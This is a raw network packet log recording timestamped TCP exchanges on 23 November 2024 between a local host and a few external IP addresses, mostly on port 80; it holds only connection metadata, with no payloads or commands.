Nov 23, 2024 15:22:40.069947004 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.070027113 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.070050001 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.070105076 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.073421001 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.073496103 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.073635101 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.073688030 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.077156067 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.077220917 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.077299118 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.077358007 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.080517054 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.080595016 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.080640078 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.080681086 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.084059954 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.084115028 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.084244013 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.084295034 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.087745905 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.087809086 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.087950945 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.087997913 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.091104984 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.091161966 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.091248035 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.091300011 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.094640970 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.094693899 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.094757080 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.094818115 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.098225117 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.098290920 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.098330975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.098392010 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.101717949 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.101777077 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.101792097 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.101979017 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.105261087 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.105320930 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.105407953 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.105478048 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.108882904 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.108943939 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.109004021 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.109065056 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.112406015 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.112477064 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.112523079 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.112576962 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.115829945 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.115900993 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.115963936 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.116014004 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.119388103 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.119448900 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.119518995 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.119574070 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.122936964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.122997999 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.123070955 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.123128891 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.126502037 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.126557112 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.126568079 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.126605988 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.130024910 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.130085945 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.130186081 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.130242109 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.133522987 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.133593082 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.133666039 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.133745909 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.137047052 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.137105942 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.187629938 CET	443	49854	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:40.187709093 CET	49854	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:40.188924074 CET	49854	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:40.188935041 CET	443	49854	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:40.189261913 CET	443	49854	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:40.190435886 CET	49854	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:40.190573931 CET	49854	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:40.190615892 CET	443	49854	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:40.190716028 CET	49854	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:40.190726042 CET	443	49854	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:40.195409060 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.195461988 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.195535898 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.195595980 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.196887016 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.197017908 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.197077036 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.199815989 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.199871063 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.199973106 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.200021982 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.202733040 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.202790976 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.202857018 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.202907085 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.205699921 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.205754042 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.205794096 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.205826998 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.222903013 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.222961903 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.222970963 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.223052025 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.223962069 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.224014044 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.224462986 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.224519014 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.224602938 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.224672079 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.226866007 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.226933002 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.226983070 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.227036953 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.229275942 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.229336977 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.229398012 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.229448080 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.231713057 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.231805086 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.231836081 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.231930971 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.234128952 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.234184027 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.234236002 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.234287977 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.236426115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.236498117 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.236569881 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.236628056 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.238755941 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.238812923 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.238907099 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.239094973 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.241065025 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.241132021 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.241137028 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.241182089 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.243334055 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.243395090 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.243443966 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.243494987 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.244384050 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:40.244436979 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:40.244451046 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:40.244527102 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:40.245615959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.245698929 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.245733023 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.245795965 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.247823954 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.247901917 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.247942924 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.248071909 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.249290943 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.249375105 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.249454021 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.249531984 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.250763893 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.250842094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.250916004 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.250968933 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.252207041 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.252271891 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.252309084 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.252495050 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.253740072 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.253808022 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.253839016 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.253890991 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.255059004 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.255125999 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.255176067 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.255306959 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.256580114 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.256634951 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.256655931 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.256706953 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.257968903 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.258024931 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.258110046 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.258172035 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.259308100 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.259407043 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.259439945 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.259521961 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.260730982 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.260853052 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.260865927 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.260912895 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.262142897 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.262218952 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.262262106 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.262330055 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.263585091 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.263674974 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.263750076 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.263820887 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.265073061 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.265144110 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.265147924 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.265202045 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.266406059 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.266489029 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.266534090 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.266824007 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.267813921 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.267862082 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.267940044 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.268193007 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.269262075 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.269315004 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.269362926 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.269623041 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.270668030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.270744085 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.270764112 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.270821095 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.272053003 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.272104025 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.272170067 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.272221088 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.273454905 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.273586035 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.273618937 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.273633957 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.274904966 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.274982929 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.275048018 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.275096893 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.276319981 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.276375055 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.276454926 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.276510954 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.277836084 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.277908087 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.277926922 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.277981043 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.279144049 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.279220104 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.279242992 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.279292107 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.280741930 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.280805111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.280867100 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.280966997 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.281960964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.282074928 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.282089949 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.282351971 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.283375025 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.283427000 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.283490896 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.283617973 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.284797907 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.284868002 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.284918070 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.285054922 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.286211014 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.286355972 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.286417961 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.287655115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.287750959 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.287764072 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.287868023 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.289071083 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.289146900 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.289205074 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.290456057 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.290551901 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.290581942 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.290626049 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.291899920 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.291948080 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.292011976 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.293332100 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.293402910 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.293416977 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.293804884 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.294699907 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.294768095 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.294826031 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.295747995 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.296145916 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.296215057 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.296287060 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.296334028 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.297538996 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.297617912 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.297667980 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.297801018 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.298954964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.299011946 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.299057961 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.299117088 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.397051096 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.397119045 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.397151947 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.397211075 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.397602081 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.397659063 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.397660017 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.397715092 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.398787022 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.398865938 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.398933887 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.399279118 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.400021076 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.400082111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.424685001 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.424746037 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.424750090 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.424801111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.425160885 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.425220013 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.425291061 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.425348997 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.426201105 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.426261902 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.426333904 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.426573992 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.427239895 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.427334070 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.427372932 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.427431107 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.428283930 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.428355932 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.428359985 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.428412914 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.429359913 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.429488897 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.429554939 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.430438042 CET	80	49853	185.215.113.16	192.168.2.4
